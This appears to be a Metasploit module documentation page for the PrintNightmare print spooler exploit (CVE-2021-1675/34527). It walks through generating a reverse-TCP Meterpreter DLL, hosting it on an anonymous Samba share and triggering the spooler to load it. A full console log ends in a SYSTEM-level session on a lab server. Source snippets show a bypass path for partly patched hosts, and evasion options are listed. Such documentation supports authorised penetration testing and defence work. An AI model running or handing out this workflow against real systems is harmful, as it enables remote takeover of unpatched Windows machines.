Print Spooler Remote DLL Injection - Metasploit
This page contains detailed information about how to use the auxiliary/admin/dcerpc/cve_2021_1675_printnightmare metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Print Spooler Remote DLL Injection
Module: auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
Source code: modules/auxiliary/admin/dcerpc/cve_2021_1675_printnightmare.rb
Disclosure date: -
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: microsoft-ds, netbios-ssn
Target network port(s): 139, 445
List of CVEs: CVE-2021-1675, CVE-2021-34527
This module is also known as PrintNightmare.
The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN vector which requires the Print Spooler service to be running.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Reliability:
- unreliable-session: The module isn't expected to get a shell reliably (such as only once).
Stability:
- crash-service-down: Module may crash the service, and the service remains down.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
msf auxiliary(cve_2021_1675_printnightmare) > show targets
... a list of targets ...
msf auxiliary(cve_2021_1675_printnightmare) > set TARGET target-id
msf auxiliary(cve_2021_1675_printnightmare) > show options
... show and set options ...
msf auxiliary(cve_2021_1675_printnightmare) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
DLL_PATH: The network-based UNC path or local path on the remote target from which the server should load the DLL
Knowledge Base
Vulnerable Application
The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM.
Verification Steps
- Optionally, create a DLL payload that the target will execute
- From msfconsole
- Do:
use payload/windows/x64/meterpreter/reverse_tcp
- Set the
LHOST
andLPORT
values - Do:
to_handler
to start the payload handler - Do:
generate -f dll -o /path/to/save/the/payload.dll
to generate the DLL file
Start an SMB server with anonymous read access containing the DLL payload.
sudo apt-get install -y samba samba-common
sudo cp -pf /etc/samba/smb.conf /etc/samba/smb.conf.bak
to backup your existing config.sudo mkdir /var/public
Add the following into the end of the
/etc/samba/smb.conf
file:[public] comment = Public Directories path = /var/public guest ok = Yes
Restart Samba with
sudo service smbd restart
.
Generate your DLL and place the file under
/var/public
.msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > use payload/windows/x64/meterpreter/reverse_tcp msf6 payload(windows/x64/meterpreter/reverse_tcp) > show options Module options (payload/windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port msf6 payload(windows/x64/meterpreter/reverse_tcp) > set LHOST 192.168.224.128 LHOST => 192.168.224.128 msf6 payload(windows/x64/meterpreter/reverse_tcp) > set LPORT 8822 LPORT => 8822 msf6 payload(windows/x64/meterpreter/reverse_tcp) > to_handler [*] Payload Handler Started as Job 0 [*] Started reverse TCP handler on 192.168.224.128:8822 msf6 payload(windows/x64/meterpreter/reverse_tcp) > generate -f dll -o /home/gwillcox/payload.dll [*] Writing 8704 bytes to /home/gwillcox/payload.dll... msf6 payload(windows/x64/meterpreter/reverse_tcp) > sudo mv /home/gwillcox/payload.dll /var/public/payload.dll
Exploit the vulnerability to force the target to load the DLL payload
- From msfconsole
- Do:
use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
- Set the
RHOSTS
values - Set the
SMBUser
andSMBPass
values - Set the
DLL_PATH
value to the UNC path to the server and payload DLL like\\192.168.0.2\public\payload.dll
- Run the module
Options
DLL_PATH
The path to the DLL that the server should load. This path can either be a network-based UNC path or a local path on the remote target. The DLL will be copied to the remote server using the same filename.
If the DLL is a payload generated by Metasploit, know that only a single session can be active per target at any time due to how these payloads are synchronized. If the session closes, dies, or the user migrates to a new process, the same DLL can be used again otherwise a new DLL will need to be created for each simultaneously active session. One DLL can however be used to establish multiple sessions simultaneously so long as each session is on a different target.
If this value is a UNC path, it will automatically be converted to use the \??\UNC\
prefix instead of \\
to bypass
the path check in certain scenarios.
ReconnectDelay
This is an advanced option.
A delay in seconds to wait before reconnecting to the named pipe.
While exploiting the vulnerability, it is common for the named pipe connection to be closed. This option specifies a
delay in seconds to wait before reconnecting to the service. A delay that is too short may fail with
STATUS_OBJECT_NAME_NOT_FOUND
.
Scenarios
Windows Server 2019
First, generate the payload DLL or use an existing one. Copy it to the SMB server and note the UNC path. Any DLL can be used but the architecture must match the host. This example generates a 64-bit Meterpreter payload using the Reverse TCP stager.
msf6 > use payload/windows/x64/meterpreter/reverse_tcp
msf6 payload(windows/x64/meterpreter/reverse_tcp) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 payload(windows/x64/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0
msf6 payload(windows/x64/meterpreter/reverse_tcp) >
[*] Started reverse TCP handler on 192.168.159.128:4444
msf6 payload(windows/x64/meterpreter/reverse_tcp) > generate -f dll -o /tmp/reverse_tcp.x64.dll
[*] Writing 8704 bytes to /tmp/reverse_tcp.x64.dll...
msf6 payload(windows/x64/meterpreter/reverse_tcp) >
Next, use the module to trigger loading the DLL. Note that when setting the DLL_PATH
option, the \
characters are
doubled so that they are escaped on the command line.
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > set DLL_PATH \\\\192.168.159.128\\public\\reverse_tcp.x64.dll
DLL_PATH => \\192.168.159.128\public\reverse_tcp.x64.dll
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > set RHOSTS 192.168.159.96
RHOSTS => 192.168.159.96
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > set SMBUSER aliddle
SMBUSER => aliddle
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > set SMBPASS Password1
SMBPASS => Password1
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > run
[*] Running module against 192.168.159.96
[*] 192.168.159.96:445 - Target environment: Windows v10.0.17763 (x64)
[*] 192.168.159.96:445 - Binding to 12345678-1234-abcd-ef00-0123456789ab:1.0@ncacn_np:192.168.159.96[\spoolss] ...
[*] 192.168.159.96:445 - Bound to 12345678-1234-abcd-ef00-0123456789ab:1.0@ncacn_np:192.168.159.96[\spoolss] ...
[*] 192.168.159.96:445 - Enumerating the installed printer drivers...
[*] 192.168.159.96:445 - Using driver path: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_2097e02ea77b432e\Amd64\UNIDRV.DLL
[*] 192.168.159.96:445 - Using directory: C:\Windows\system32\spool\DRIVERS\x64
[*] 192.168.159.96:445 - RpcAddPrinterDriverEx response 0 ERROR_SUCCESS (The operation completed successfully.)
[*] Sending stage (200262 bytes) to 192.168.159.96
[*] 192.168.159.96:445 - Error STATUS_PIPE_BROKEN (The pipe operation has failed because the other end of the pipe has been closed.)
[-] 192.168.159.96:445 - Error STATUS_PIPE_CLOSING (The specified named pipe is in the closing state.)
[-] 192.168.159.96:445 - Error STATUS_PIPE_CLOSING (The specified named pipe is in the closing state.)
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > [*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.96:49732) at 2021-07-02 15:59:30 -0400
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-3MSP8K2LCGC
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : MSFLAB
Logged On Users : 9
Meterpreter : x64/windows
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the admin/dcerpc/cve_2021_1675_printnightmare auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > show info
Name: Print Spooler Remote DLL Injection
Module: auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Zhiniang Peng
Xuefeng Li
Zhipeng Huo
Piotr Madej
Zhang Yunhai
cube0x0
Spencer McIntyre
Christophe De La Fuente
Module side effects:
artifacts-on-disk
Module stability:
crash-service-down
Module reliability:
unreliable-session
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DLL_PATH yes The network-based UNC path or local path on the remote target from which the server should load the DLL
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Description:
The print spooler service can be abused by an authenticated remote
attacker to load a DLL through a crafted DCERPC request, resulting
in remote code execution as NT AUTHORITY\SYSTEM. This module uses
the MS-RPRN vector which requires the Print Spooler service to be
running.
References:
https://nvd.nist.gov/vuln/detail/CVE-2021-1675
https://nvd.nist.gov/vuln/detail/CVE-2021-34527
https://github.com/cube0x0/CVE-2021-1675
https://github.com/afwu/PrintNightmare
https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1
https://github.com/byt3bl33d3r/ItWasAllADream
Also known as:
PrintNightmare
Module Options
This is a complete list of options available in the admin/dcerpc/cve_2021_1675_printnightmare auxiliary module:
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > show options
Module options (auxiliary/admin/dcerpc/cve_2021_1675_printnightmare):
Name Current Setting Required Description
---- --------------- -------- -----------
DLL_PATH yes The network-based UNC path or local path on the remote target from which the server should load the DLL
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Advanced Options
Here is a complete list of advanced options supported by the admin/dcerpc/cve_2021_1675_printnightmare auxiliary module:
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > show advanced
Module advanced options (auxiliary/admin/dcerpc/cve_2021_1675_printnightmare):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
DCERPC::ReadTimeout 10 yes The number of seconds to wait for DCERPC responses
ForceExploit false no Override check result
NTLM::SendLM true yes Always send the LANMAN response (except when NTLMv2_session is specified)
NTLM::SendNTLM true yes Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
NTLM::SendSPN true yes Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required
NTLM::UseLMKey false yes Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
NTLM::UseNTLM2_session true yes Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
NTLM::UseNTLMv2 true yes Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
ReconnectDelay 10 yes A delay in seconds to wait before reconnecting to the named pipe
SMB::AlwaysEncrypt true yes Enforces encryption even if the server does not require it (SMB3.x only). Note that when it is set to false, the SMB client will still encrypt the communication if the server requires it
SMB::ChunkSize 500 yes The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing
SMB::Native_LM Windows 2000 5.0 yes The Native LM to send during authentication
SMB::Native_OS Windows 2000 2195 yes The Native OS to send during authentication
SMB::ProtocolVersion 1,2,3 yes One or a list of coma-separated SMB protocol versions to negotiate (e.g. "1" or "1,2" or "2,3,1")
SMB::VerifySignature false yes Enforces client-side verification of server response signatures
SMBDirect true no The target port is a raw SMB service (not NetBIOS)
SMBName *SMBSERVER yes The NetBIOS hostname (required for port 139 connections)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/dcerpc/cve_2021_1675_printnightmare module can do:
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/dcerpc/cve_2021_1675_printnightmare auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
DCERPC::fake_bind_multi true no Use multi-context bind calls
DCERPC::fake_bind_multi_append 0 no Set the number of UUIDs to append the target
DCERPC::fake_bind_multi_prepend 0 no Set the number of UUIDs to prepend before the target
DCERPC::max_frag_size 4096 yes Set the DCERPC packet fragmentation size
DCERPC::smb_pipeio rw no Use a different delivery method for accessing named pipes (Accepted: rw, trans)
SMB::obscure_trans_pipe_level 0 yes Obscure PIPE string in TransNamedPipe (level 0-3)
SMB::pad_data_level 0 yes Place extra padding between headers and data (level 0-3)
SMB::pad_file_level 0 yes Obscure path names used in open/create (level 0-3)
SMB::pipe_evasion false yes Enable segmented read/writes for SMB Pipes
SMB::pipe_read_max_size 1024 yes Maximum buffer size for pipe reads
SMB::pipe_read_min_size 1 yes Minimum buffer size for pipe reads
SMB::pipe_write_max_size 1024 yes Maximum buffer size for pipe writes
SMB::pipe_write_min_size 1 yes Minimum buffer size for pipe writes
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Failed to connect to the remote service.
- Failed to authenticate to the remote service.
- The 'Print Spooler' service is disabled.
- The DCERPC bind failed with error <NT_STATUS.NAME> (<NT_STATUS.DESCRIPTION>).
- Successfully bound to the remote service.
- t be mapped to a Win32 error code
- Received unknown status code, implying the target is not vulnerable.
- Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.
- Received ERROR_BAD_NET_NAME, implying the target is vulnerable.
- Received ERROR_ACCESS_DENIED implying the target is patched.
- Successfully bound to the remote service.
- Only x86 and x64 targets are supported.
- Failed to enumerate the driver directory.
- Failed to enumerate printer drivers.
- Failed to obtain the printer driver directory.
- Error <NT_STATUS.NAME> (<NT_STATUS.DESCRIPTION>)
- The named pipe connection was broken.
- Failed to reconnect to the named pipe.
- RpcAddPrinterDriverEx response <RESPONSE.ERROR_STATUS>
- The <NAME> Print System RPC request failed (<E.MESSAGE>).
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to connect to the remote service.
Here is a relevant code snippet related to the "Failed to connect to the remote service." error message:
289:
290: def check
291: begin
292: connect(backend: :ruby_smb)
293: rescue Rex::ConnectionError
294: return Exploit::CheckCode::Unknown('Failed to connect to the remote service.')
295: end
296:
297: begin
298: smb_login
299: rescue Rex::Proto::SMB::Exceptions::LoginError
Failed to authenticate to the remote service.
Here is a relevant code snippet related to the "Failed to authenticate to the remote service." error message:
295: end
296:
297: begin
298: smb_login
299: rescue Rex::Proto::SMB::Exceptions::LoginError
300: return Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.')
301: end
302:
303: begin
304: dcerpc_bind_spoolss
305: rescue RubySMB::Error::UnexpectedStatusCode => e
The 'Print Spooler' service is disabled.
Here is a relevant code snippet related to the "The 'Print Spooler' service is disabled." error message:
303: begin
304: dcerpc_bind_spoolss
305: rescue RubySMB::Error::UnexpectedStatusCode => e
306: nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
307: if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND
308: print_error("The 'Print Spooler' service is disabled.")
309: end
310: return Exploit::CheckCode::Safe("The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).")
311: end
312:
313: arch = dcerpc_getarch
The DCERPC bind failed with error <NT_STATUS.NAME> (<NT_STATUS.DESCRIPTION>).
Here is a relevant code snippet related to the "The DCERPC bind failed with error <NT_STATUS.NAME> (<NT_STATUS.DESCRIPTION>)." error message:
305: rescue RubySMB::Error::UnexpectedStatusCode => e
306: nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
307: if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND
308: print_error("The 'Print Spooler' service is disabled.")
309: end
310: return Exploit::CheckCode::Safe("The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).")
311: end
312:
313: arch = dcerpc_getarch
314: # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43
315: if arch == ARCH_X64
Successfully bound to the remote service.
Here is a relevant code snippet related to the "Successfully bound to the remote service." error message:
315: if arch == ARCH_X64
316: @environment = 'Windows x64'
317: elsif arch == ARCH_X86
318: @environment = 'Windows NT x86'
319: else
320: return Exploit::CheckCode::Detected('Successfully bound to the remote service.')
321: end
322:
323: print_status("Target environment: Windows v#{simple.client.os_version} (#{arch})")
324:
325: print_status('Enumerating the installed printer drivers...')
t be mapped to a Win32 error code
Here is a relevant code snippet related to the "t be mapped to a Win32 error code" error message:
335: p_config_file: 'C:\\Windows\\System32\\kernel32.dll',
336: p_data_file: "\\??\\UNC\\127.0.0.1\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll"
337: )
338:
339: case add_printer_driver_ex(container)
340: when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code
341: return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')
342: when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND
343: return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')
344: when ::WindowsError::Win32::ERROR_BAD_NET_NAME
345: return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
Received unknown status code, implying the target is not vulnerable.
Here is a relevant code snippet related to the "Received unknown status code, implying the target is not vulnerable." error message:
336: p_data_file: "\\??\\UNC\\127.0.0.1\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll"
337: )
338:
339: case add_printer_driver_ex(container)
340: when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code
341: return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')
342: when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND
343: return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')
344: when ::WindowsError::Win32::ERROR_BAD_NET_NAME
345: return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
346: when ::WindowsError::Win32::ERROR_ACCESS_DENIED
Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.
Here is a relevant code snippet related to the "Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable." error message:
338:
339: case add_printer_driver_ex(container)
340: when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code
341: return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')
342: when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND
343: return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')
344: when ::WindowsError::Win32::ERROR_BAD_NET_NAME
345: return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
346: when ::WindowsError::Win32::ERROR_ACCESS_DENIED
347: return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')
348: end
Received ERROR_BAD_NET_NAME, implying the target is vulnerable.
Here is a relevant code snippet related to the "Received ERROR_BAD_NET_NAME, implying the target is vulnerable." error message:
340: when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code
341: return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')
342: when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND
343: return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')
344: when ::WindowsError::Win32::ERROR_BAD_NET_NAME
345: return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
346: when ::WindowsError::Win32::ERROR_ACCESS_DENIED
347: return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')
348: end
349:
350: Exploit::CheckCode::Detected('Successfully bound to the remote service.')
Received ERROR_ACCESS_DENIED implying the target is patched.
Here is a relevant code snippet related to the "Received ERROR_ACCESS_DENIED implying the target is patched." error message:
342: when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND
343: return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')
344: when ::WindowsError::Win32::ERROR_BAD_NET_NAME
345: return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
346: when ::WindowsError::Win32::ERROR_ACCESS_DENIED
347: return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')
348: end
349:
350: Exploit::CheckCode::Detected('Successfully bound to the remote service.')
351: end
352:
Successfully bound to the remote service.
Here is a relevant code snippet related to the "Successfully bound to the remote service." error message:
345: return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
346: when ::WindowsError::Win32::ERROR_ACCESS_DENIED
347: return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')
348: end
349:
350: Exploit::CheckCode::Detected('Successfully bound to the remote service.')
351: end
352:
353: def run
354: fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?
355: fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?
Only x86 and x64 targets are supported.
Here is a relevant code snippet related to the "Only x86 and x64 targets are supported." error message:
349:
350: Exploit::CheckCode::Detected('Successfully bound to the remote service.')
351: end
352:
353: def run
354: fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?
355: fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?
356:
357: dll_path = datastore['DLL_PATH'].strip
358: if dll_path =~ /^\\\\([\w:.\[\]]+)\\(.*)$/
359: # targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass
Failed to enumerate the driver directory.
Here is a relevant code snippet related to the "Failed to enumerate the driver directory." error message:
350: Exploit::CheckCode::Detected('Successfully bound to the remote service.')
351: end
352:
353: def run
354: fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?
355: fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?
356:
357: dll_path = datastore['DLL_PATH'].strip
358: if dll_path =~ /^\\\\([\w:.\[\]]+)\\(.*)$/
359: # targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass
360: # otherwise the operation will fail with ERROR_INVALID_PARAMETER
Failed to enumerate printer drivers.
Here is a relevant code snippet related to the "Failed to enumerate printer drivers." error message:
403: end
404:
405: def enum_printer_drivers(environment)
406: response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2)
407: response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed)
408: fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length
409: DriverInfo2.read(response.p_drivers.referent.value.map(&:chr).join)
410: end
411:
412: def get_printer_driver_directory(environment)
413: response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)
Failed to obtain the printer driver directory.
Here is a relevant code snippet related to the "Failed to obtain the printer driver directory." error message:
410: end
411:
412: def get_printer_driver_directory(environment)
413: response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)
414: response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed)
415: fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length
416: RubySMB::Field::Stringz16.read(response.p_driver_directory.referent.value.map(&:chr).join).encode('ASCII-8BIT')
417: end
418:
419: def add_printer_driver_ex(container)
420: reconnect = true
Error <NT_STATUS.NAME> (<NT_STATUS.DESCRIPTION>)
Here is a relevant code snippet related to the "Error <NT_STATUS.NAME> (<NT_STATUS.DESCRIPTION>)" error message:
422:
423: begin
424: response = rprn_call('RpcAddPrinterDriverEx', p_name: "\\\\#{datastore['RHOST']}", p_driver_container: container, dw_file_copy_flags: flags)
425: rescue RubySMB::Error::UnexpectedStatusCode => e
426: nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
427: message = "Error #{nt_status.name} (#{nt_status.description})"
428: if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN
429: # STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected
430: fail_with(Failure::Disconnected, 'The named pipe connection was broken.') unless reconnect
431: reconnect = false
432:
The named pipe connection was broken.
Here is a relevant code snippet related to the "The named pipe connection was broken." error message:
425: rescue RubySMB::Error::UnexpectedStatusCode => e
426: nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
427: message = "Error #{nt_status.name} (#{nt_status.description})"
428: if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN
429: # STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected
430: fail_with(Failure::Disconnected, 'The named pipe connection was broken.') unless reconnect
431: reconnect = false
432:
433: print_status("The named pipe connection was broken, reconnecting after a #{datastore['ReconnectDelay'].to_i} second delay.")
434: sleep datastore['ReconnectDelay'].to_i
435: begin
Failed to reconnect to the named pipe.
Here is a relevant code snippet related to the "Failed to reconnect to the named pipe." error message:
433: print_status("The named pipe connection was broken, reconnecting after a #{datastore['ReconnectDelay'].to_i} second delay.")
434: sleep datastore['ReconnectDelay'].to_i
435: begin
436: dcerpc_bind_spoolss
437: rescue RubySMB::Error::UnexpectedStatusCode => e
438: fail_with(Failure::Unreachable, 'Failed to reconnect to the named pipe.')
439: end
440:
441: retry
442: else
443: print_error(message)
RpcAddPrinterDriverEx response <RESPONSE.ERROR_STATUS>
Here is a relevant code snippet related to the "RpcAddPrinterDriverEx response <RESPONSE.ERROR_STATUS>" error message:
445:
446: return nt_status
447: end
448:
449: error = ::WindowsError::Win32.find_by_retval(response.error_status.value).first
450: message = "RpcAddPrinterDriverEx response #{response.error_status}"
451: message << " #{error.name} (#{error.description})" unless error.nil?
452: vprint_status(message)
453: error
454: end
455:
The <NAME> Print System RPC request failed (<E.MESSAGE>).
Here is a relevant code snippet related to the "The <NAME> Print System RPC request failed (<E.MESSAGE>)." error message:
457: request = PrintSystem.const_get("#{name}Request").new(**kwargs)
458:
459: begin
460: raw_response = dcerpc.call(request.opnum, request.to_binary_s)
461: rescue Rex::Proto::DCERPC::Exceptions::Fault => e
462: fail_with(Failure::UnexpectedReply, "The #{name} Print System RPC request failed (#{e.message}).")
463: end
464:
465: PrintSystem.const_get("#{name}Response").read(raw_response)
466: end
467:
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- CVE-2021-1675
- CVE-2021-34527
- https://github.com/cube0x0/CVE-2021-1675
- https://github.com/afwu/PrintNightmare
- https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1
- https://github.com/byt3bl33d3r/ItWasAllADream
See Also
Check also the following modules related to this module:
- auxiliary/admin/dcerpc/cve_2020_1472_zerologon
- auxiliary/admin/sap/cve_2020_6207_solman_rce
- auxiliary/admin/sap/cve_2020_6287_ws_add_user
- auxiliary/admin/dcerpc/icpr_cert
- auxiliary/admin/dcerpc/samr_computer
- auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key
- auxiliary/scanner/rdp/cve_2019_0708_bluekeep
- auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921
- auxiliary/dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166
- auxiliary/gather/hikvision_info_disclosure_cve_2017_7921
- exploit/windows/dcerpc/cve_2021_1675_printnightmare
